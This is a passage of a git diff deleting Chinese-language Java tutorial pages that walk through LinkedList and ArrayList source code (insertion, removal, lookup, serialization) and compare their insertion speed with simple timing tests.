-/** - * 在列表的尾部添加指定的元素。 - * - * @param e 要添加到列表的元素 - */ -void linkLast(E e) { - final Node l = last; // 获取链表的最后一个节点 - final Node newNode = new Node<>(l, e, null); // 创建一个新的节点,并将其设置为链表的最后一个节点 - last = newNode; // 将新的节点设置为链表的最后一个节点 - if (l == null) // 如果链表为空,则将新节点设置为头节点 - first = newNode; - else - l.next = newNode; // 否则将新节点链接到链表的尾部 - size++; // 增加链表的元素个数 -} -``` - -- 添加第一个元素的时候,first 和 last 都为 null。 -- 然后新建一个节点 newNode,它的 prev 和 next 也为 null。 -- 然后把 last 和 first 都赋值为 newNode。 - -此时还不能称之为链表,因为前后节点都是断裂的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/linkedlist-02.png) - -- 添加第二个元素的时候,first 和 last 都指向的是第一个节点。 -- 然后新建一个节点 newNode,它的 prev 指向的是第一个节点,next 为 null。 -- 然后把第一个节点的 next 赋值为 newNode。 - -此时的链表还不完整。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/linkedlist-03.png) - -- 添加第三个元素的时候,first 指向的是第一个节点,last 指向的是最后一个节点。 -- 然后新建一个节点 newNode,它的 prev 指向的是第二个节点,next 为 null。 -- 然后把第二个节点的 next 赋值为 newNode。 - -此时的链表已经完整了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/linkedlist-04.png) - -我这个增的招式,还可以演化成另外两个版本: - -- `addFirst()` 方法将元素添加到第一位; -- `addLast()` 方法将元素添加到末尾。 - -addFirst 内部其实调用的是 linkFirst: - -```java -/** - * 在列表的开头添加指定的元素。 - * - * @param e 要添加到列表的元素 - */ -public void addFirst(E e) { - linkFirst(e); // 在列表的开头添加元素 -} -``` - -linkFirst 负责把新的节点设为 first,并将新的 first 的 next 更新为之前的 first。 - -```java -/** - * 在列表的开头添加指定的元素。 - * - * @param e 要添加到列表的元素 - */ -private void linkFirst(E e) { - final Node f = first; // 获取链表的第一个节点 - final Node newNode = new Node<>(null, e, f); // 创建一个新的节点,并将其设置为链表的第一个节点 - first = newNode; // 将新的节点设置为链表的第一个节点 - if (f == null) // 如果链表为空,则将新节点设置为尾节点 - last = newNode; - else - f.prev = newNode; // 否则将新节点链接到链表的头部 - size++; // 增加链表的元素个数 -} -``` - -addLast 的内核其实和 addFirst 差不多,内部调用的是 linkLast 方法,前面分析过了。 - -```java -/** - * 在列表的尾部添加指定的元素。 - * - * @param e 要添加到列表的元素 - * @return 始终为 true(根据 Java 集合框架规范) - */ -public boolean addLast(E e) { - linkLast(e); // 在列表的尾部添加元素 - return true; // 添加元素成功,返回 true -} -``` - - -#### **2)招式二:删** - -我这个删的招式还挺多的: - -- `remove()`:删除第一个节点 -- `remove(int)`:删除指定位置的节点 -- `remove(Object)`:删除指定元素的节点 -- `removeFirst()`:删除第一个节点 -- `removeLast()`:删除最后一个节点 - -`remove()` 内部调用的是 `removeFirst()`,所以这两个招式的功效一样。 - -`remove(int)` 内部其实调用的是 unlink 方法。 - -```java -/** - * 删除指定位置上的元素。 - * - * @param index 要删除的元素的索引 - * @return 从列表中删除的元素 - * @throws IndexOutOfBoundsException 如果索引越界(index < 0 || index >= size()) - */ -public E remove(int index) { - checkElementIndex(index); // 检查索引是否越界 - return unlink(node(index)); // 删除指定位置的节点,并返回节点的元素 -} - -``` - -unlink 方法其实很好理解,就是更新当前节点的 next 和 prev,然后把当前节点上的元素设为 null。 - -```java -/** - * 从链表中删除指定节点。 - * - * @param x 要删除的节点 - * @return 从链表中删除的节点的元素 - */ -E unlink(Node x) { - final E element = x.item; // 获取要删除节点的元素 - final Node next = x.next; // 获取要删除节点的下一个节点 - final Node prev = x.prev; // 获取要删除节点的上一个节点 - - if (prev == null) { // 如果要删除节点是第一个节点 - first = next; // 将链表的头节点设置为要删除节点的下一个节点 - } else { - prev.next = next; // 将要删除节点的上一个节点指向要删除节点的下一个节点 - x.prev = null; // 将要删除节点的上一个节点设置为空 - } - - if (next == null) { // 如果要删除节点是最后一个节点 - last = prev; // 将链表的尾节点设置为要删除节点的上一个节点 - } else { - next.prev = prev; // 将要删除节点的下一个节点指向要删除节点的上一个节点 - x.next = null; // 将要删除节点的下一个节点设置为空 - } - - x.item = null; // 将要删除节点的元素设置为空 - size--; // 减少链表的元素个数 - return element; // 返回被删除节点的元素 -} -``` - -remove(Object) 内部也调用了 unlink 方法,只不过在此之前要先找到元素所在的节点: - -```java -/** - * 从链表中删除指定元素。 - * - * @param o 要从链表中删除的元素 - * @return 如果链表包含指定元素,则返回 true;否则返回 false - */ -public boolean remove(Object o) { - if (o == null) { // 如果要删除的元素为 null - for (Node x = first; x != null; x = x.next) { // 遍历链表 - if (x.item == null) { // 如果节点的元素为 null - unlink(x); // 删除节点 - return true; // 返回 true 表示删除成功 - } - } - } else { // 如果要删除的元素不为 null - for (Node x = first; x != null; x = x.next) { // 遍历链表 - if (o.equals(x.item)) { // 如果节点的元素等于要删除的元素 - unlink(x); // 删除节点 - return true; // 返回 true 表示删除成功 - } - } - } - return false; // 如果链表中不包含要删除的元素,则返回 false 表示删除失败 -} -``` - -元素为 null 的时候,必须使用 == 来判断;元素为非 null 的时候,要使用 equals 来判断。 - -removeFirst 内部调用的是 unlinkFirst 方法: - -```java -/** - * 从链表中删除第一个元素并返回它。 - * 如果链表为空,则抛出 NoSuchElementException 异常。 - * - * @return 从链表中删除的第一个元素 - * @throws NoSuchElementException 如果链表为空 - */ -public E removeFirst() { - final Node f = first; // 获取链表的第一个节点 - if (f == null) // 如果链表为空 - throw new NoSuchElementException(); // 抛出 NoSuchElementException 异常 - return unlinkFirst(f); // 调用 unlinkFirst 方法删除第一个节点并返回它的元素 -} -``` - -unlinkFirst 负责的就是把第一个节点毁尸灭迹,并且捎带把后一个节点的 prev 设为 null。 - -```java -/** - * 删除链表中的第一个节点并返回它的元素。 - * - * @param f 要删除的第一个节点 - * @return 被删除节点的元素 - */ -private E unlinkFirst(Node f) { - final E element = f.item; // 获取要删除的节点的元素 - final Node next = f.next; // 获取要删除的节点的下一个节点 - f.item = null; // 将要删除的节点的元素设置为 null - f.next = null; // 将要删除的节点的下一个节点设置为 null - first = next; // 将链表的头节点设置为要删除的节点的下一个节点 - if (next == null) // 如果链表只有一个节点 - last = null; // 将链表的尾节点设置为 null - else - next.prev = null; // 将要删除节点的下一个节点的前驱设置为 null - size--; // 减少链表的大小 - return element; // 返回被删除节点的元素 -} -``` - -#### **3)招式三:改** - -可以调用 `set()` 方法来更新元素: - -```java -list.set(0, "沉默王五"); -``` - -来看一下 `set()` 方法: - -```java -/** - * 将链表中指定位置的元素替换为指定元素,并返回原来的元素。 - * - * @param index 要替换元素的位置(从 0 开始) - * @param element 要插入的元素 - * @return 替换前的元素 - * @throws IndexOutOfBoundsException 如果索引超出范围(index < 0 || index >= size()) - */ -public E set(int index, E element) { - checkElementIndex(index); // 检查索引是否超出范围 - Node x = node(index); // 获取要替换的节点 - E oldVal = x.item; // 获取要替换节点的元素 - x.item = element; // 将要替换的节点的元素设置为指定元素 - return oldVal; // 返回替换前的元素 -} -``` - -来看一下node方法: - -```java -/** - * 获取链表中指定位置的节点。 - * - * @param index 节点的位置(从 0 开始) - * @return 指定位置的节点 - * @throws IndexOutOfBoundsException 如果索引超出范围(index < 0 || index >= size()) - */ -Node node(int index) { - if (index < (size >> 1)) { // 如果索引在链表的前半部分 - Node x = first; - for (int i = 0; i < index; i++) // 从头节点开始向后遍历链表,直到找到指定位置的节点 - x = x.next; - return x; // 返回指定位置的节点 - } else { // 如果索引在链表的后半部分 - Node x = last; - for (int i = size - 1; i > index; i--) // 从尾节点开始向前遍历链表,直到找到指定位置的节点 - x = x.prev; - return x; // 返回指定位置的节点 - } -} -``` - -`size >> 1`:也就是右移一位,相当于除以 2。对于计算机来说,移位比除法运算效率更高,因为数据在计算机内部都是以二进制存储的。 - -换句话说,node 方法会对下标进行一个初步判断,如果靠近前半截,就从下标 0 开始遍历;如果靠近后半截,就从末尾开始遍历,这样可以提高效率,最大能提高一半的效率。 - -找到指定下标的节点就简单了,直接把原有节点的元素替换成新的节点就 OK 了,prev 和 next 都不用改动。 - -#### **4)招式四:查** - -我这个查的招式可以分为两种: - -- indexOf(Object):查找某个元素所在的位置 -- get(int):查找某个位置上的元素 - -来看一下 indexOf 方法的源码。 - -```java -/** - * 返回链表中首次出现指定元素的位置,如果不存在该元素则返回 -1。 - * - * @param o 要查找的元素 - * @return 首次出现指定元素的位置,如果不存在该元素则返回 -1 - */ -public int indexOf(Object o) { - int index = 0; // 初始化索引为 0 - if (o == null) { // 如果要查找的元素为 null - for (Node x = first; x != null; x = x.next) { // 从头节点开始向后遍历链表 - if (x.item == null) // 如果找到了要查找的元素 - return index; // 返回该元素的索引 - index++; // 索引加 1 - } - } else { // 如果要查找的元素不为 null - for (Node x = first; x != null; x = x.next) { // 从头节点开始向后遍历链表 - if (o.equals(x.item)) // 如果找到了要查找的元素 - return index; // 返回该元素的索引 - index++; // 索引加 1 - } - } - return -1; // 如果没有找到要查找的元素,则返回 -1 -} -``` - -get 方法的内核其实还是 node 方法,node 方法之前已经说明过了,这里略过。 - -```java -public E get(int index) { - checkElementIndex(index); - return node(index).item; -} -``` - -其实,查这个招式还可以演化为其他的一些,比如说: - -- `getFirst()` 方法用于获取第一个元素; -- `getLast()` 方法用于获取最后一个元素; -- `poll()` 和 `pollFirst()` 方法用于删除并返回第一个元素(两个方法尽管名字不同,但方法体是完全相同的); -- `pollLast()` 方法用于删除并返回最后一个元素; -- `peekFirst()` 方法用于返回但不删除第一个元素。 - -### 03、LinkedList 的挑战 - -说句实在话,我不是很喜欢和师兄 ArrayList 拿来比较,因为我们各自修炼的内功不同,没有孰高孰低。 - -虽然师兄经常喊我一声师弟,但我们之间其实挺和谐的。但我知道,在外人眼里,同门师兄弟,总要一较高下的。 - -比如说,我们俩在增删改查时候的时间复杂度。 - -也许这就是命运吧,从我进入师门的那天起,这种争论就一直没有停息过。 - -无论外人怎么看待我们,在我眼里,师兄永远都是一哥,我敬重他,他也愿意保护我。 - -[好戏在后头](https://javabetter.cn/collection/list-war-2.html),等着瞧吧。 - -我这里先简单聊一下,权当抛砖引玉。 - -想象一下,你在玩一款游戏,游戏中有一个道具栏,你需要不断地往里面添加、删除道具。如果你使用的是我的师兄 ArrayList,那么每次添加、删除道具时都需要将后面的道具向后移动或向前移动,这样就会非常耗费时间。但是如果你使用的是我 LinkedList,那么只需要将新道具插入到链表中的指定位置,或者将要删除的道具从链表中删除即可,这样就可以快速地完成道具栏的更新。 - -除了游戏中的道具栏,我 LinkedList 还可以用于实现 LRU(Least Recently Used)缓存淘汰算法。LRU 缓存淘汰算法是一种常用的缓存淘汰策略,它的基本思想是,当缓存空间不够时,优先淘汰最近最少使用的缓存数据。在实现 LRU 缓存淘汰算法时,你可以使用我 LinkedList 来存储缓存数据,每次访问缓存数据时,将该数据从链表中删除并移动到链表的头部,这样链表的尾部就是最近最少使用的缓存数据,当缓存空间不够时,只需要将链表尾部的缓存数据淘汰即可。 - -总之,各有各的好,且行且珍惜。 - -### 04、LinkedList 的应用 - -如果你打算通过我来练练手,那么推荐你试一下 LeetCode 的 [002.两数相加](https://paicoding.com/column/7/2)、[019.删除链表的第 N 个节点](https://paicoding.com/column/7/19) 题目,我把题解链接放在了技术派上: - -> - [002.两数相加](https://paicoding.com/column/7/2) -> - [019.删除链表的第 N 个节点](https://paicoding.com/column/7/19) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/list-war-2.md b/docs/src/collection/list-war-2.md deleted file mode 100644 index 2900203246..0000000000 --- a/docs/src/collection/list-war-2.md +++ /dev/null @@ -1,892 +0,0 @@ ---- -title: ArrayList和LinkedList的区别:如何选择? -shortTitle: ArrayList和LinkedList的区别 -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细比较了 ArrayList 和 LinkedList 的特性、性能差异以及适用场景。阅读本文,您将更好地理解两者的优劣,从而在实际编程中做出更明智的集合类选择,提高程序性能。 -head: - - - meta - - name: keywords - content: Java,LinkedList,ArrayList,java arraylist linkedlist, arraylist linkedlist ---- - - -“终于,二哥,我们要聊 [LinkedList](https://javabetter.cn/collection/linkedlist.html) 和 [ArrayList](https://javabetter.cn/collection/arraylist.html) 之间的差别了,我期待了很久。”三妹嘟囔着说。 - -“其实经过前面两节的分析,差别已经很清晰了。”我喃喃道。 - -“哥,你再说点吧,深挖一下,OK?” - -“好吧,那就让我们出发吧!” - ->PS:为了和前面两节的源码做适当的区分,这里采用的是 Java 11 的源码,请务必注意。但整体上差别很小。 - -### 01、ArrayList 是如何实现的? - -ArrayList 实现了 List 接口,继承了 AbstractList 抽象类。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/list-war-2-01.png) - -底层是基于数组实现的,并且实现了动态扩容(当需要添加新元素时,如果 elementData 数组已满,则会自动扩容,新的容量将是原来的 1.5 倍),来看一下 ArrayList 的部分源码。 - -```java -public class ArrayList extends AbstractList - implements List, RandomAccess, Cloneable, java.io.Serializable -{ - private static final int DEFAULT_CAPACITY = 10; // 默认容量为 10 - transient Object[] elementData; // 存储元素的数组,数组类型为 Object - private int size; // 列表的大小,即列表中元素的个数 -} -``` - -ArrayList 还实现了 RandomAccess 接口,这是一个标记接口: - -```java -public interface RandomAccess { -} -``` - -内部是空的,标记“实现了这个接口的类支持快速(通常是固定时间)随机访问”。快速随机访问是什么意思呢?就是说不需要遍历,就可以通过下标(索引)直接访问到内存地址。而 LinkedList 没有实现该接口,表示它不支持高效的随机访问,需要通过遍历来访问元素。 - -```java -/** - * 返回列表中指定位置的元素。 - * - * @param index 要返回的元素的索引 - * @return 列表中指定位置的元素 - * @throws IndexOutOfBoundsException 如果索引越界(index < 0 || index >= size()) - */ -public E get(int index) { - Objects.checkIndex(index, size); // 检查索引是否越界 - return elementData(index); // 调用 elementData 方法获取元素 -} - -/** - * 返回列表中指定位置的元素。 - * 注意:该方法并没有检查索引是否越界,调用该方法前需要先检查索引是否越界。 - * - * @param index 要返回的元素的索引 - * @return 列表中指定位置的元素 - */ -E elementData(int index) { - return (E) elementData[index]; // 强制类型转换,将 Object 类型转换为 E 类型 -} -``` - -ArrayList 还实现了 Cloneable 接口,这表明 ArrayList 是支持[拷贝](https://javabetter.cn/basic-extra-meal/deep-copy.html)的。ArrayList 内部的确也重写了 Object 类的 `clone()` 方法。 - -```java -/** - * 返回该列表的浅表副本。 - * (元素本身不会被复制。) - * - * @return 该列表的副本 - */ -public Object clone() { - try { - ArrayList v = (ArrayList) super.clone(); // 调用 Object 类的 clone 方法,得到一个浅表副本 - v.elementData = Arrays.copyOf(elementData, size); // 复制 elementData 数组,创建一个新数组作为副本 - v.modCount = 0; // 将 modCount 置为 0 - return v; // 返回副本 - } catch (CloneNotSupportedException e) { - // this shouldn't happen, since we are Cloneable - throw new InternalError(e); - } -} -``` - -ArrayList 还实现了 [Serializable](https://javabetter.cn/io/Serializbale.html) 接口,同样是一个标记接口: - -```java -public interface Serializable { -} -``` - -内部也是空的,标记“实现了这个接口的类支持序列化”。序列化是什么意思呢?Java 的序列化是指,将对象转换成以字节序列的形式来表示,这些字节序中包含了对象的字段和方法。序列化后的对象可以被写到数据库、写到文件,也可用于网络传输。 - -眼睛雪亮的小伙伴可能会注意到,ArrayList 中的关键字段 elementData 使用了 [transient 关键字](https://javabetter.cn/io/transient.html)修饰,这个关键字的作用是,让它修饰的字段不被序列化。 - -这不前后矛盾吗?一个类既然实现了 Serilizable 接口,肯定是想要被序列化的,对吧?那为什么保存关键数据的 elementData 又不想被序列化呢? - -这还得从 “ArrayList 是基于数组实现的”开始说起。大家都知道,数组是定长的,就是说,数组一旦声明了,长度(容量)就是固定的,不能像某些东西一样伸缩自如。这就很麻烦,数组一旦装满了,就不能添加新的元素进来了。 - -ArrayList 不想像数组这样活着,它想能屈能伸,所以它实现了动态扩容。一旦在添加元素的时候,发现容量用满了 `s == elementData.length`,就按照原来数组的 1.5 倍(`oldCapacity >> 1`)进行扩容。扩容之后,再将原有的数组复制到新分配的内存地址上 `Arrays.copyOf(elementData, newCapacity)`。 - -这部分源码我们在之前讲 [ArrayList](https://javabetter.cn/collection/arraylist.html) 的时候就已经讲的很清楚了,这里就一笔带过。 - -动态扩容意味着什么? - -意味着数组的实际大小可能永远无法被填满的,总有多余出来空置的内存空间。 - -比如说,默认的数组大小是 10,当添加第 11 个元素的时候,数组的长度扩容了 1.5 倍,也就是 15,意味着还有 4 个内存空间是闲置的,对吧? - -序列化的时候,如果把整个数组都序列化的话,是不是就多序列化了 4 个内存空间。当存储的元素数量非常非常多的时候,闲置的空间就非常非常大,序列化耗费的时间就会非常非常多。 - -于是,ArrayList 做了一个愉快而又聪明的决定,内部提供了两个私有方法 writeObject 和 readObject 来完成序列化和反序列化。 - -```java -/** - * 将此列表实例的状态序列写入指定的 ObjectOutputStream。 - * (即,保存这个列表实例到一个流中。) - * - * @param s 要写入的流 - * @throws java.io.IOException 如果写入流时发生异常 - */ -private void writeObject(java.io.ObjectOutputStream s) - throws java.io.IOException { - s.defaultWriteObject(); // 写出对象的默认字段 - - // Write out size as capacity for behavioral compatibility with clone() - s.writeInt(size); // 写出 size - - // Write out all elements in the proper order. - for (int i=0; i 0) { - // 分配一个新的 elementData 数组,大小为 size - ensureCapacityInternal(size); - - Object[] a = elementData; - // 依次从输入流中读取元素,并将其存储在数组中 - for (int i=0; i - extends AbstractSequentialList - implements List, Deque, Cloneable, java.io.Serializable -{ - transient int size = 0; // 非序列化字段,表示链表中的节点个数 - transient Node first; // 非序列化字段,指向链表中的第一个节点 - transient Node last; // 非序列化字段,指向链表中的最后一个节点 - - // ... -} -``` - - LinkedList 内部定义了一个 Node 节点,它包含 3 个部分:元素内容 item,前引用 prev 和后引用 next。这个在讲 [LinkedList](https://javabetter.cn/collection/linkedlist.html) 的时候也讲过了,这里略过。 - -LinkedList 还实现了 Cloneable 接口,这表明 LinkedList 是支持拷贝的。 - -LinkedList 还实现了 Serializable 接口,这表明 LinkedList 是支持序列化的。眼睛雪亮的小伙伴可能又注意到了,LinkedList 中的关键字段 size、first、last 都使用了 transient 关键字修饰,这不又矛盾了吗?到底是想序列化还是不想序列化? - -答案是 LinkedList 想按照自己的方式序列化,来看它自己实现的 `writeObject()` 方法: - -```java -private void writeObject(java.io.ObjectOutputStream s) - throws java.io.IOException { - // 写入默认的序列化标记 - s.defaultWriteObject(); - - // 写入链表的节点个数 - s.writeInt(size); - - // 按正确的顺序写入所有元素 - for (LinkedList.Node x = first; x != null; x = x.next) - s.writeObject(x.item); -} -``` - -发现没?LinkedList 在序列化的时候只保留了元素的内容 item,并没有保留元素的前后引用。这样就节省了不少内存空间,对吧? - -那有些小伙伴可能就疑惑了,只保留元素内容,不保留前后引用,那反序列化的时候怎么办? - -```java -private void readObject(java.io.ObjectInputStream s) - throws java.io.IOException, ClassNotFoundException { - // 读取默认的序列化标记 - s.defaultReadObject(); - - // 读取链表的节点个数 - int size = s.readInt(); - - // 按正确的顺序读取所有元素 - for (int i = 0; i < size; i++) - linkLast((E)s.readObject()); // 读取元素并将其添加到链表末尾 -} - -void linkLast(E e) { - final LinkedList.Node l = last; - final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null); - last = newNode; // 将新节点作为链表尾节点 - if (l == null) - first = newNode; // 如果链表为空,将新节点作为链表头节点 - else - l.next = newNode; // 否则将新节点链接到链表尾部 - size++; // 增加节点个数 -} -``` - -注意 for 循环中的 `linkLast()` 方法,它可以把链表重新链接起来,这样就恢复了链表序列化之前的顺序。很妙,对吧? - -和 ArrayList 相比,LinkedList 没有实现 RandomAccess 接口,这是因为 LinkedList 存储数据的内存地址是不连续的,所以不支持随机访问。 - -### 03、新增元素时究竟谁快? - -前面我们已经从多个维度了解了 ArrayList 和 LinkedList 的实现原理和各自的特点。那接下来,我们就来聊聊 ArrayList 和 LinkedList 在新增元素时究竟谁快? - -#### **1)ArrayList** - -ArrayList 新增元素有两种情况,一种是直接将元素添加到数组末尾,一种是将元素插入到指定位置。 - -添加到数组末尾的源码(这部分前面讲 [ArrayList](https://javabetter.cn/collection/arraylist.html) 的时候讲过了,这里再温故一下): - -```java -public boolean add(E e) { - add(e, elementData, size); - return true; -} - -private void add(E e, Object[] elementData, int s) { - if (s == elementData.length) - elementData = grow(); // 扩容数组 - elementData[s] = e; // 将元素添加到数组末尾 - size = s + 1; // 增加元素个数 -} -``` - -很简单,先判断是否需要扩容,然后直接通过索引将元素添加到末尾。 - -插入到指定位置的源码: - -```java -public void add(int index, E element) { - rangeCheckForAdd(index); // 检查插入位置是否越界 - final int s; // 当前元素个数 - Object[] elementData; // 元素数组 - if ((s = size) == (elementData = this.elementData).length) // 如果数组已满,则扩容 - elementData = grow(); - System.arraycopy(elementData, index, - elementData, index + 1, - s - index); // 将插入位置后的元素向右移动一位 - elementData[index] = element; // 将新元素插入到指定位置 - size = s + 1; // 增加元素个数 -} -``` - -先检查插入的位置是否在合理的范围之内,然后判断是否需要扩容,再把该位置以后的元素复制到新添加元素的位置之后,最后通过索引将元素添加到指定的位置。 - -#### **2)LinkedList** - -LinkedList 新增元素也有两种情况,一种是直接将元素添加到队尾,一种是将元素插入到指定位置。 - -添加到队尾的源码: - -```java -public boolean add(E e) { - linkLast(e); // 将元素添加到链表末尾 - return true; -} - -void linkLast(E e) { - final LinkedList.Node l = last; // 获取链表的尾节点 - final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null); // 创建新节点 - last = newNode; // 将新节点作为链表的尾节点 - if (l == null) - first = newNode; // 如果链表为空,则将新节点作为链表的头节点 - else - l.next = newNode; // 否则将新节点链接到链表的尾部 - size++; // 增加节点个数 -} -``` - -先将队尾的节点 last 存放到临时变量 l 中,然后生成新的 Node 节点,并赋给 last,如果 l 为 null,说明是第一次添加,所以 first 为新的节点;否则将新的节点赋给之前 last 的 next。 - -插入到指定位置的源码: - -```java -public void add(int index, E element) { - checkPositionIndex(index); // 检查插入位置是否越界 - - if (index == size) - linkLast(element); // 如果插入位置为链表末尾,则将元素添加到链表末尾 - else - linkBefore(element, node(index)); // 否则将元素插入到指定位置的前面的节点后面 -} - -LinkedList.Node node(int index) { - if (index < (size >> 1)) { // 如果插入位置在链表前半部分,则从头节点开始查找 - LinkedList.Node x = first; - for (int i = 0; i < index; i++) - x = x.next; - return x; - } else { // 否则从尾节点开始查找 - LinkedList.Node x = last; - for (int i = size - 1; i > index; i--) - x = x.prev; - return x; - } -} - -void linkBefore(E e, LinkedList.Node succ) { - final LinkedList.Node pred = succ.prev; // 获取插入位置的前驱节点 - final LinkedList.Node newNode = new LinkedList.Node<>(pred, e, succ); // 创建新节点 - succ.prev = newNode; // 将新节点链接到后继节点 - if (pred == null) - first = newNode; // 如果前驱节点为空,则将新节点作为头节点 - else - pred.next = newNode; // 否则将新节点链接到前驱节点 - size++; // 增加节点个数 -} -``` - -先检查插入的位置是否在合理的范围之内,然后判断插入的位置是否是队尾,如果是,添加到队尾;否则执行 `linkBefore()` 方法。 - -在执行 `linkBefore()` 方法之前,会调用 `node()` 方法查找指定位置上的元素,这一步是需要遍历 LinkedList 的。如果插入的位置靠前前半段,就从队头开始往后找;否则从队尾往前找。也就是说,如果插入的位置越靠近 LinkedList 的中间位置,遍历所花费的时间就越多。 - -找到指定位置上的元素(参数succ)之后,就开始执行 `linkBefore()` 方法,先将 succ 的前一个节点(prev)存放到临时变量 pred 中,然后生成新的 Node 节点(newNode),并将 succ 的前一个节点变更为 newNode,如果 pred 为 null,说明插入的是队头,所以 first 为新节点;否则将 pred 的后一个节点变更为 newNode。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/list-war-2-03.png) - -经过源码分析以后,你是不是在想:“好像 ArrayList 在新增元素的时候效率并不一定比 LinkedList 低啊!” - -当两者的起始长度是一样的情况下: - -- 如果是从集合的头部新增元素,ArrayList 花费的时间应该比 LinkedList 多,因为需要对头部以后的元素进行复制。 - -我们来测试一下: - -```java -public class ArrayListTest { - public static void addFromHeaderTest(int num) { - ArrayList list = new ArrayList(num); - int i = 0; - - long timeStart = System.currentTimeMillis(); - - while (i < num) { - list.add(0, i + "沉默王二"); - i++; - } - long timeEnd = System.currentTimeMillis(); - - System.out.println("ArrayList从集合头部位置新增元素花费的时间" + (timeEnd - timeStart)); - } -} - -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class LinkedListTest { - public static void addFromHeaderTest(int num) { - LinkedList list = new LinkedList(); - int i = 0; - long timeStart = System.currentTimeMillis(); - while (i < num) { - list.addFirst(i + "沉默王二"); - i++; - } - long timeEnd = System.currentTimeMillis(); - - System.out.println("LinkedList从集合头部位置新增元素花费的时间" + (timeEnd - timeStart)); - } -} -``` - -num 为 10000,代码实测后的时间如下所示: - -``` -ArrayList从集合头部位置新增元素花费的时间595 -LinkedList从集合头部位置新增元素花费的时间15 -``` - -此时,ArrayList 花费的时间比 LinkedList 要多很多。 - -- 如果是从集合的中间位置新增元素,ArrayList 花费的时间搞不好要比 LinkedList 少,因为 LinkedList 需要遍历。 - -来看测试代码。 - -```java -public class ArrayListTest { - public static void addFromMidTest(int num) { - ArrayList list = new ArrayList(num); - int i = 0; - - long timeStart = System.currentTimeMillis(); - while (i < num) { - int temp = list.size(); - list.add(temp / 2, i + "沉默王二"); - i++; - } - long timeEnd = System.currentTimeMillis(); - - System.out.println("ArrayList从集合中间位置新增元素花费的时间" + (timeEnd - timeStart)); - } -} - -public class LinkedListTest { - public static void addFromMidTest(int num) { - LinkedList list = new LinkedList(); - int i = 0; - long timeStart = System.currentTimeMillis(); - while (i < num) { - int temp = list.size(); - list.add(temp / 2, i + "沉默王二"); - i++; - } - long timeEnd = System.currentTimeMillis(); - - System.out.println("LinkedList从集合中间位置新增元素花费的时间" + (timeEnd - timeStart)); - } -} -``` - -num 为 10000,代码实测后的时间如下所示: - -``` -ArrayList从集合中间位置新增元素花费的时间16 -LinkedList从集合中间位置新增元素花费的时间114 -``` - -ArrayList 花费的时间比 LinkedList 要少很多很多。 - -- 如果是从集合的尾部新增元素,ArrayList 花费的时间应该比 LinkedList 少,因为数组是一段连续的内存空间,也不需要复制数组;而链表需要创建新的对象,前后引用也要重新排列。 - -来看测试代码: - -```java -public class ArrayListTest { - public static void addFromTailTest(int num) { - ArrayList list = new ArrayList(num); - int i = 0; - - long timeStart = System.currentTimeMillis(); - - while (i < num) { - list.add(i + "沉默王二"); - i++; - } - - long timeEnd = System.currentTimeMillis(); - - System.out.println("ArrayList从集合尾部位置新增元素花费的时间" + (timeEnd - timeStart)); - } -} - -public class LinkedListTest { - public static void addFromTailTest(int num) { - LinkedList list = new LinkedList(); - int i = 0; - long timeStart = System.currentTimeMillis(); - while (i < num) { - list.add(i + "沉默王二"); - i++; - } - long timeEnd = System.currentTimeMillis(); - - System.out.println("LinkedList从集合尾部位置新增元素花费的时间" + (timeEnd - timeStart)); - } -} -``` - -num 为 10000,代码实测后的时间如下所示: - -``` -ArrayList从集合尾部位置新增元素花费的时间69 -LinkedList从集合尾部位置新增元素花费的时间193 -``` - -ArrayList 花费的时间比 LinkedList 要少一些。 - -这样的结论和预期的是不是不太相符?ArrayList 在添加元素的时候如果不涉及到扩容,性能在两种情况下(中间位置新增元素、尾部新增元素)比 LinkedList 好很多,只有头部新增元素的时候比 LinkedList 差,因为数组复制的原因。 - -当然了,如果涉及到数组扩容的话,ArrayList 的性能就没那么可观了,因为扩容的时候也要复制数组。 - -### 04、删除元素时究竟谁快? - -#### **1)ArrayList** - -ArrayList 删除元素的时候,有两种方式,一种是直接删除元素(`remove(Object)`),需要直先遍历数组,找到元素对应的索引;一种是按照索引删除元素(`remove(int)`)。 - -来看一下源码(其实前面也讲过了,这里温习一下): - -```java -public boolean remove(Object o) { - final Object[] es = elementData; // 获取数组元素 - final int size = this.size; // 获取数组大小 - int i = 0; - found: { - if (o == null) { - for (; i < size; i++) - if (es[i] == null) - break found; - } else { - for (; i < size; i++) - if (o.equals(es[i])) - break found; - } - return false; - } - fastRemove(es, i); // 调用 fastRemove 方法快速移除元素 - return true; -} - -public E remove(int index) { - Objects.checkIndex(index, size); // 检查索引是否越界 - final Object[] es = elementData; // 获取数组元素 - - oldValue = (E) es[index]; // 获取要删除的元素 - fastRemove(es, index); // 调用 fastRemove 方法快速移除元素 - - return oldValue; // 返回被删除的元素 -} -``` - -本质上讲,两个方法是一样的,它们最后调用的都是 `fastRemove(Object, int)` 方法。 - -```java -private void fastRemove(Object[] es, int i) { - final int newSize; - if ((newSize = size - 1) > i) // 如果要删除的不是最后一个元素 - System.arraycopy(es, i + 1, es, i, newSize - i); // 将要删除元素后面的元素向前移动一位 - es[size = newSize] = null; // 将最后一个元素置为 null,帮助垃圾回收 -} -``` - -从源码可以看得出,只要删除的不是最后一个元素,都需要重新移动数组。删除的元素位置越靠前,代价就越大。 - -#### **2)LinkedList** - -LinkedList 删除元素的时候,有四种常用的方式: - -- `remove(int)`,删除指定位置上的元素 - -```java -public E remove(int index) { - checkElementIndex(index); - return unlink(node(index)); -} -``` - -先检查索引,再调用 `node(int)` 方法( 